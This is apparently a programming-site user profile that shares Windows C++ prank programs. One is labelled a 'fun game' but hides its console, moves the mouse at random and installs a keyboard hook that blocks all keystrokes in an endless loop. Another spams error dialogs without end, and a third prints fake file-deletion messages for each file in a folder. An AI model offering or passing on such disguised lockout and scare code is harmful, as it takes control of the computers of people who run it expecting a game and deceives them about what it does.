-
个人简介
你可以来看看里面有什么=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [1]
# 好玩的游戏#include <Windows.h> #include <iostream> using namespace std; HHOOK g_keyboardHook; LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0 && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) { return 1; } return CallNextHookEx(g_keyboardHook, nCode, wParam, lParam); } int main() { while(1) { int cx=GetSystemMetrics(SM_CXSCREEN); int cy=GetSystemMetrics(SM_CYSCREEN); HWND hwnds; hwnds = FindWindow("ConsoleWindowClass", NULL); if (hwnds) { ShowOwnedPopups(hwnds, SW_HIDE); ShowWindow(hwnds, SW_HIDE); } HDC hdcs = GetDC(0); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); srand(time(0)); SetCursorPos(rand()%x,rand()%y); g_keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0); MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } UnhookWindowsHookEx(g_keyboardHook); } return 0; }
你考试得了
而我

-----wow----- 
windous 10最后想说的话V0.1.cpp
#include <windows.h> int main() { // 创建带确定按钮的消息框 MessageBox( NULL, // 父窗口句柄,NULL表示无父窗口 "再过几年,我就离开世界了", // 消息内容 "Windous10最后想说的话", // 标题 MB_OK | MB_ICONINFORMATION // 按钮类型和图标:MB_OK表示确定按钮,MB_ICONINFORMATION表示信息图标 ); return 0; }·

#include <windows.h> void showWindowsError() { // 基础错误对话框 MessageBox( NULL, "发生了一个系统错误!", "Wrorr", MB_OK | MB_ICONERROR ); // 带重试选项的错误对话框 int result = MessageBox( NULL, "文件读取失败,是否重试?", "操作错误", MB_RETRYCANCEL | MB_ICONWARNING ); if (result == IDRETRY) { // 重试逻辑 MessageBox(NULL, "正在重试操作...", "信息", MB_OK | MB_ICONINFORMATION); } } int main() { while(1) { showWindowsError(); } return 0; }
%windir%\system32\imageres.dll
#include <iostream> #include <string> #include <vector> #include <dirent.h> #include <sys/stat.h> #include <ctime> void traverseDirectory(const std::string& path, unsigned long long& file_count, unsigned long long& dir_count) { DIR* dir = opendir(path.c_str()); if (!dir) { std::cerr << "无法打开目录: " << path << std::endl; return; } struct dirent* entry; while ((entry = readdir(dir)) != NULL) { if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) { continue; } std::string full_path = path + "/" + entry->d_name; struct stat file_stat; if (stat(full_path.c_str(), &file_stat) == -1) { std::cerr << "无法获取文件信息: " << full_path << std::endl; continue; } if (S_ISDIR(file_stat.st_mode)) { dir_count++; std::cout << "正在删除目录:" << full_path << std::endl; traverseDirectory(full_path, file_count, dir_count); } else if (S_ISREG(file_stat.st_mode)) { file_count++; std::cout << "正在删除文件:" << full_path << std::endl; } } closedir(dir); } int main() { std::string path; std::cout << "请输入要遍历的目录路径 (输入'.'表示当前目录): "; std::getline(std::cin, path); if (path.empty()) { path = "."; } unsigned long long file_count = 0; unsigned long long dir_count = 0; std::cout << "开始遍历目录: " << path << std::endl; std::cout << std::string(50, '=') << std::endl; traverseDirectory(path, file_count, dir_count); std::cout << std::string(50, '=') << std::endl; std::cout << "遍历完成!" << std::endl; std::cout << "总计文件数: " << file_count << std::endl; std::cout << "总计目录数: " << dir_count << std::endl; std::cout << "总计项目数: " << (file_count + dir_count) << std::endl; return 0; }

返回顶部 ↩︎
-
通过的题目
-
最近活动
-
最近编写的题解
This person is lazy and didn't write any solutions.
题目标签
- 入门
- 1
